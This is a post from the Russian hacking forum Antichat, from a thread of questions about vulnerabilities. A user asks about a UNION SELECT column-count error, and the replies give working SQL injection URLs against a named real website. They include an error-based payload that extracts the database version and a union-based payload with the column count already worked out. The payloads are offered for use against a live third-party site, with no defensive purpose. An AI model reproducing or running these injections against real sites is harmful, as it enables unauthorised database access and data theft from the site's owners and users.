ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

Цитата:

Сообщение от Compton

при нахождении столбцов через order_by и последующей комбинации их с union select вылетаешь ошибка

Код:

The used SELECT statements have a different number of columns

что можно сделать?

2 запроса. Крути через ошибку. Или линк сюда.

http://forum.antichat.net/thread43966.html последний пост от Scipio.

Через ошибку:

Код:

http://www.cosmeticsdatabase.com/brand.php?brand_id=987%20or%201%20group%20by%20concat((select%20version()),floor(rand(0)*2))%20having%20min(0)%20or%201%20--%201

С прямым выводом:

Код:

http://www.cosmeticsdatabase.com/ingredient.php?ingred06=-705545%20union%20select%201,2,3,4,5,6,7,8,version(),0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2+--+

Цитата:

Сообщение от XAMEHA

Для начала надо сделать чтоб линк все видели:

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.cosmeticsdatabase.com/brand.php?brand_id=987+union+select+1,2,3,4,5,6,7,8--

[/COLOR][/COLOR]

Жмешь "QUOTE" и смотришь что он там написал в теге